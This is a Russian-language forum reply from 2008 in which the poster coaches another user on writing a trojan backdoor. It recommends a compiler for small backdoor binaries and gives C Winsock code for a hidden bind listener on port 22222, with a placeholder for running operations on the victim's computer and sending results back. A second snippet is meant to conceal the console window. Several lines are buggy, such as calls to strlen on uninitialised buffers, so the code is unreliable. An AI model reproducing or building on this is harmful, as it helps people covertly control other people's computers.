
23.11.2008, 14:54
|
|
Познающий
Регистрация: 07.09.2008
Сообщений: 79
Провел на форуме: 272452
Репутация:
10
|
|
Сообщение от ZET36
Вот ещё нашол мануал по Клиент-Сервер (для C++ Builder)
http://www.cyberguru.ru/cbuilder-sources/network/rabota-s-soketami-na-vcl.html
но при запуске клиента она выдаёт ошибку "Asyncchronous socket error 10061"
извинте в си++ я новичок, может я что не так сделал?

Привет.
Я вот никак не понимаю почему ты пишеш троянь с GUI ???
Скачай себе компилятор LCC-WIN32 - самый лучший вариант для написание бекдора,т.к. программы получаються довольно маленькими + не приходиться добавлять разные библиотеки как это делаеться в VC++.
Создай консольную программу,закинь туда такой код :
Код:
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#define PORT 22222
int main(void)
{
struct sockaddr_in addr; // структуа где будет храниться наш локальный адрес
WSADATA wsd; // тут будет храниться информации о загруженном сокете
SOCKET ls,rs; // два сокет,один для принятии подключении другой для коммуникации с клиентом
char r_buf[1024],s_buf[1024]; // заниаем в памяти место с размером два килобайта.
int r_buflen;
if(WSAStartup(MAKEWORD(2,2),&wsd) == 0) // Загружаем виндовс сокет
{
// заполняем структуру для локального адреса
addr.sin_addr.s_addr = htonl(INADDR_ANY); //
addr.sin_port = htons(PORT); // Переводим константу INADDR_ANY и PORT внутренний формат
addr.sin_family = AF_INET;
ls = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); // создаем сокет,протокол TCP
if(bind(ls,(SOCKADDR*)&addr,sizeof(addr)) == -1) // соединяем локальный адрес с сокет
{
puts("Error : bind()");
}
if(listen(ls,3) != -1) // посылаем сигнал kernel-у, что мы готовы принимать соединения
{
rs = accept(ls,NULL,NULL); // а тут принимаем соединение
if(rs != -1)
{
r_buflen = recv(rs,r_buf,strlen(r_buf),0); // после принимаем данный от удаленного хоста
if(r_buflen != -1 && r_buflen != 0)
{
/* ТУТ ПРОВОДИМ СВОИ УЖАСНЫЕ ОПЕРАЦИИ НА УДАЛЛЕНОМ КОМПЕ =D */
/* И ПОСЫЛАЕМ РЕЗУЛЬТАТ КЛИЕНТУ,Т.Е. НА ТВОИ КОМП */
send(rs,s_buf,strlen(s_buf),0);
}
}
}
else
{
puts("Error : listen()");
}
}
else
{
puts("Error : WSAStartup()");
}
return 0;
}
После этого тебе наверника придеться скрыт консольное окно своей программы,делаем это так :
Код:
char h_name[128];
HWND h;
GetModuleFileNameA(NULL,h_name,strlen(h_name));
h = FindWindowA(NULL,h_name);
Только если эту прогу запустишь с помощью компилятора то окно не исчезнет,зайди в папку где ты сохранил прогу и запусти ее нормальнын способом.
|
|
|